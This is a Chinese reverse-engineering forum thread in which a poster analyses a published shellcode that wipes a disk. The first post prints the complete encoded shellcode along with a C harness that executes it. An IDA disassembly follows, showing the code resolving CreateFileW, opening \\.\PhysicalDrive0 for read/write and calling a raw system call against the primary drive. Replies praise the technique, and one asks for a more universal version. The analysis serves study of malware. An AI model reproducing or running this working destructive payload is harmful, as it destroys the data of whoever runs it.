飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 5831|回复: 5

[原创] 一段格盘的shellcode分析

[复制链接]
  • TA的每日心情
    无聊
    2016-10-10 10:27
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2015-6-13 21:34:32 | 显示全部楼层 |阅读模式
    shellcode出处:
    史上最小无需重定位的"格盘"ShellCode - 半斤八两
    http://bbs.pediy.com/showthread.php?t=194664
    shellcode源码:
    1. char g_szFromShellCode[] =
    2. "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0"
    3. "BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb"
    4. "CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP"
    5. "RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK"
    6. "LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK"
    7. "2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL"
    8. "KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh"
    9. "09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu"
    10. "TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5"
    11. "nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3"
    12. "umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7"
    13. "3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK"
    14. "wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p"
    15. "KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v"
    16. "0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t"
    17. "a4ZXVoudWp";

    18. int main(int argc, char* argv[])
    19. {
    20.     _asm
    21.     {
    22.         lea eax, g_szFromShellCode
    23.         call eax
    24.     }
    25.         return 0;
    26. }
    复制代码
    shellcode有一段自己解密代码的汇编,很简单就不贴了,看下解密后的:
    1. .data:00406030                   pfnShellCode proc near                  ; DATA XREF: _maino
    2. .data:00406030
    3. .data:00406030                   szCreateFileW= byte ptr -80h
    4. .data:00406030                   szPhysicalDrive0= byte ptr -74h
    5. .data:00406030                   pCreateFileW= dword ptr -4Ch
    6. .data:00406030                   var_48= byte ptr -48h
    7. .data:00406030                   szCrea= dword ptr -8
    8. .data:00406030                   pROCESSOR_ARCHITECTURE= dword ptr -4
    9. .data:00406030                   szTeFi= dword ptr  8
    10. .data:00406030
    11. .data:00406030 55                      push    ebp
    12. .data:00406031 8B EC                   mov     ebp, esp
    13. .data:00406033 81 EC 80 00 00 00       sub     esp, 80h
    14. .data:00406039 C7 45 80 43 72 65+      mov     dword ptr [ebp+szCreateFileW], 'aerC' ; CreateFileW
    15. .data:00406040 C7 45 84 74 65 46+      mov     dword ptr [ebp+szCreateFileW+4], 'iFet'
    16. .data:00406047 C7 45 88 6C 65 57+      mov     dword ptr [ebp+szCreateFileW+8], 'Wel'
    17. .data:0040604E 8D 45 80                lea     eax, [ebp+szCreateFileW]
    18. .data:00406051 50                      push    eax
    19. .data:00406052 50                      push    eax
    20. .data:00406053 55                      push    ebp
    21. .data:00406054 8B EC                   mov     ebp, esp
    22. .data:00406056 83 EC 08                sub     esp, 8
    23. .data:00406059 8B 45 08                mov     eax, [ebp+szTeFi]
    24. .data:0040605C 53                      push    ebx
    25. .data:0040605D 56                      push    esi
    26. .data:0040605E 57                      push    edi
    27. .data:0040605F 8B 08                   mov     ecx, [eax]
    28. .data:00406061 8B 50 04                mov     edx, [eax+4]              ;
    29. .data:00406061                                                           ; ;Save String"CreateFi"
    30. .data:00406064 C7 45 FC 00 00 00+      mov     [ebp+pROCESSOR_ARCHITECTURE], 0
    31. .data:0040606B 89 4D F8                mov     [ebp+szCrea], ecx
    32. .data:0040606E 89 55 08                mov     [ebp+szTeFi], edx
    33. .data:00406071 64 A1 30 00 00 00       mov     eax, large fs:30h         ; Get _peb
    34. .data:00406077 8B 40 0C                mov     eax, [eax+0Ch]            ; Get Ldr_PEB_LDR_DATA
    35. .data:0040607A 8B 70 1C                mov     esi, [eax+1Ch]            ; Get InLoadOrderModuleList(First -> NtDll LoadInfoList)
    36. .data:0040607D AD                      lodsd                             ; LoadInfoList++ : Second -> kernel32 LoadInfoList
    37. .data:0040607D                                                           ;
    38. .data:0040607D                                                           ; GetDllInfo
    39. .data:0040607D                                                           ; ;
    40. .data:0040607E 8B 40 08                mov     eax, [eax+8]              ; Get Kernel32_ImageBase
    41. .data:00406081 8B F8                   mov     edi, eax
    42. .data:00406083 8B 47 3C                mov     eax, [edi+3Ch]            ; Get _IMAGE_DOS_HEADER.e_lfanew
    43. .data:00406086 8B 54 07 78             mov     edx, [edi+eax+78h]        ; Get Export Table offset
    44. .data:0040608A 03 D7                   add     edx, edi                  ; Export Table address
    45. .data:0040608C 8B 4A 18                mov     ecx, [edx+18h]            ; Get ExportDirectory->NumberOfFunctions
    46. .data:0040608F 8B 5A 20                mov     ebx, [edx+20h]            ; Get ExportDirectory->AddressOfFunctions
    47. .data:0040608F                                                           ; ;
    48. .data:00406092 03 DF                   add     ebx, edi
    49. .data:00406094
    50. .data:00406094                   GetExportFunName_Begin:                 ; CODE XREF: pfnShellCode+6Fj
    51. .data:00406094                                                           ; pfnShellCode+77j
    52. .data:00406094 49                      dec     ecx                       ; NumberOfFunctions--
    53. .data:00406095 8B 34 8B                mov     esi, [ebx+ecx*4]
    54. .data:00406098 03 F7                   add     esi, edi                  ; Get Kernel32 ExportFunName
    55. .data:0040609A 8B 45 F8                mov     eax, [ebp+szCrea]
    56. .data:0040609D 39 06                   cmp     [esi], eax
    57. .data:0040609F 75 F3                   jnz     short GetExportFunName_Begin ; NumberOfFunctions--
    58. .data:004060A1 8B 45 08                mov     eax, [ebp+szTeFi]
    59. .data:004060A4 39 46 04                cmp     [esi+4], eax
    60. .data:004060A7 75 EB                   jnz     short GetExportFunName_Begin ;
    61. .data:004060A7                                                           ; ;GetExportFunName_End
    62. .data:004060A9 8B 5A 24                mov     ebx, [edx+24h]            ; 获取环境变量ROCESSOR_ARCHITECTURE
    63. .data:004060AC 03 DF                   add     ebx, edi
    64. .data:004060AE 66 8B 0C 4B             mov     cx, [ebx+ecx*2]
    65. .data:004060B2 8B 5A 1C                mov     ebx, [edx+1Ch]
    66. .data:004060B5 03 DF                   add     ebx, edi
    67. .data:004060B7 8B 04 8B                mov     eax, [ebx+ecx*4]
    68. .data:004060BA 03 C7                   add     eax, edi
    69. .data:004060BC 89 45 FC                mov     [ebp+pROCESSOR_ARCHITECTURE], eax
    70. .data:004060BF 8B 45 FC                mov     eax, [ebp+pROCESSOR_ARCHITECTURE]
    71. .data:004060C2 5F                      pop     edi
    72. .data:004060C3 5E                      pop     esi
    73. .data:004060C4 5B                      pop     ebx
    74. .data:004060C5 8B E5                   mov     esp, ebp
    75. .data:004060C7 5D                      pop     ebp
    76. .data:004060C8 89 45 B4                mov     [ebp+pCreateFileW], eax
    77. .data:004060CB C7 45 8C 5C 00 5C+      mov     dword ptr [ebp+szPhysicalDrive0], 5C005Ch ; 获得"\\.\PhysicalDrive0"(即本机器的物理驱动器0->主硬盘)
    78. .data:004060D2 C7 45 90 2E 00 5C+      mov     dword ptr [ebp+szPhysicalDrive0+4], 5C002Eh
    79. .data:004060D9 C7 45 94 50 00 68+      mov     dword ptr [ebp+szPhysicalDrive0+8], 680050h
    80. .data:004060E0 C7 45 98 79 00 73+      mov     dword ptr [ebp+szPhysicalDrive0+0Ch], 730079h
    81. .data:004060E7 C7 45 9C 69 00 63+      mov     dword ptr [ebp+szPhysicalDrive0+10h], 630069h
    82. .data:004060EE C7 45 A0 61 00 6C+      mov     dword ptr [ebp+szPhysicalDrive0+14h], 6C0061h
    83. .data:004060F5 C7 45 A4 44 00 72+      mov     dword ptr [ebp+szPhysicalDrive0+18h], 720044h
    84. .data:004060FC C7 45 A8 69 00 76+      mov     dword ptr [ebp+szPhysicalDrive0+1Ch], 760069h
    85. .data:00406103 C7 45 AC 65 00 30+      mov     dword ptr [ebp+szPhysicalDrive0+20h], 300065h
    86. .data:0040610A C7 45 B0 00 00 00+      mov     dword ptr [ebp+szPhysicalDrive0+24h], 0 ;
    87. .data:0040610A 00                                                        ; CreateFileW(szPhysicalDrive0, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    88. .data:00406111 6A 00                   push    0                         ; push NULL
    89. .data:00406113 6A 00                   push    0                         ; push NULL
    90. .data:00406115 6A 03                   push    3                         ; push OPEN_EXISTING
    91. .data:00406117 6A 00                   push    0                         ; push NULL
    92. .data:00406119 6A 03                   push    3                         ; push FILE_SHARE_READ | FILE_SHARE_WRITE
    93. .data:0040611B 68 00 00 00 C0          push    0C0000000h                ; push GENERIC_READ|GENERIC_WRITE
    94. .data:00406120 8D 45 8C                lea     eax, [ebp+szPhysicalDrive0]
    95. .data:00406123 50                      push    eax                       ; push szPhysicalDrive0
    96. .data:00406124 8B 45 B4                mov     eax, [ebp+pCreateFileW]
    97. .data:00406127 FF D0                   call    eax                       ; call CreateFIleW
    98. .data:00406129 8B D8                   mov     ebx, eax                  ; save hFile
    99. .data:00406129                                                           ; ;
    100. .data:0040612B 8D 4D B8                lea     ecx, [ebp+var_48]
    101. .data:0040612E 8D 55 B8                lea     edx, [ebp+var_48]
    102. .data:00406131 33 C0                   xor     eax, eax
    103. .data:00406133 50                      push    eax                       ; push NULL
    104. .data:00406134 50                      push    eax                       ; push NULL
    105. .data:00406135 50                      push    eax                       ; push NULL
    106. .data:00406136 50                      push    eax                       ; push NULL
    107. .data:00406137 68 00 C1 07 00          push    7C100h
    108. .data:0040613C 51                      push    ecx                       ; push pUnkonw
    109. .data:0040613D 52                      push    edx                       ; push pUnkonw
    110. .data:0040613E 50                      push    eax                       ; push NULL
    111. .data:0040613F 50                      push    eax                       ; push NULL
    112. .data:00406140 53                      push    ebx                       ; push hFile
    113. .data:00406141 B8 42 00 00 00          mov     eax, 42h
    114. .data:00406146 8D 54 24 F8             lea     edx, [esp+54h+szPhysicalDrive0+18h] ; lea (&((DWORD)szPhysicalDrive0 - 4))
    115. .data:0040614A 0F 34                   sysenter
    复制代码
    附bin和idb(ver6.6):
    ShellcodeBin&idb.rar (88.8 KB, 下载次数: 10)


    PYG19周年生日快乐!
  • TA的每日心情

    2016-12-29 21:52
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-6-13 21:55:37 | 显示全部楼层
    利用汇编免重定位自定位代码技术。罗云彬13章有讲应用。只是用来干的事不同,很牛逼
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2015-8-2 16:07
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-6-13 23:56:35 | 显示全部楼层
    好羡慕,师傅技术就是好

    点评

    f8君又黑我  详情 回复 发表于 2015-6-14 02:13
    PYG19周年生日快乐!
  • TA的每日心情
    无聊
    2016-10-10 10:27
  • 签到天数: 26 天

    [LV.4]偶尔看看III

     楼主| 发表于 2015-6-14 02:13:17 | 显示全部楼层
    F8LEFT 发表于 2015-6-13 23:56
    好羡慕,师傅技术就是好

    f8君又黑我
    PYG19周年生日快乐!
  • TA的每日心情
    奋斗
    2021-9-29 15:05
  • 签到天数: 114 天

    [LV.6]常住居民II

    发表于 2015-6-14 10:24:03 | 显示全部楼层
    这个是不是干坏事用的,
    PYG19周年生日快乐!
  • TA的每日心情
    无聊
    2024-6-25 21:23
  • 签到天数: 26 天

    [LV.4]偶尔看看III

    发表于 2015-6-14 22:36:17 | 显示全部楼层
    来一个通杀的就更猛了
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表